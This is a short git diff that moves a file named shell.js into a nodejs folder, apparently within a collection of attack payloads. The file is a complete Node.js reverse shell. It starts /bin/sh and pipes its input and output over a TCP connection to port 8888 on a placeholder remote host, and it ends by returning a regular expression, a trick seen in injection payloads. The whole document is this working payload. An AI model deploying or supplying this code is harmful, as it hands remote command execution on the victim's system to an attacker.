diff --git a/shell.js b/nodejs/shell.js similarity index 94% rename from shell.js rename to nodejs/shell.js index 83e7adc..e90e5d4 100644 --- a/shell.js +++ b/nodejs/shell.js @@ -1,12 +1,12 @@ -(function(){ - var net = require("net"), - cp = require("child_process"), - sh = cp.spawn("/bin/sh",[]); - var client = new net.Socket(); - client.connect(8888,"xxx.xxx.xxx.xxx",function(){ - client.pipe(sh.stdin); - sh.stdout.pipe(client); - sh.stderr.pipe(client); - }); - return /a/; +(function(){ + var net = require("net"), + cp = require("child_process"), + sh = cp.spawn("/bin/sh",[]); + var client = new net.Socket(); + client.connect(8888,"xxx.xxx.xxx.xxx",function(){ + client.pipe(sh.stdin); + sh.stdout.pipe(client); + sh.stderr.pipe(client); + }); + return /a/; })(); \ No newline at end of file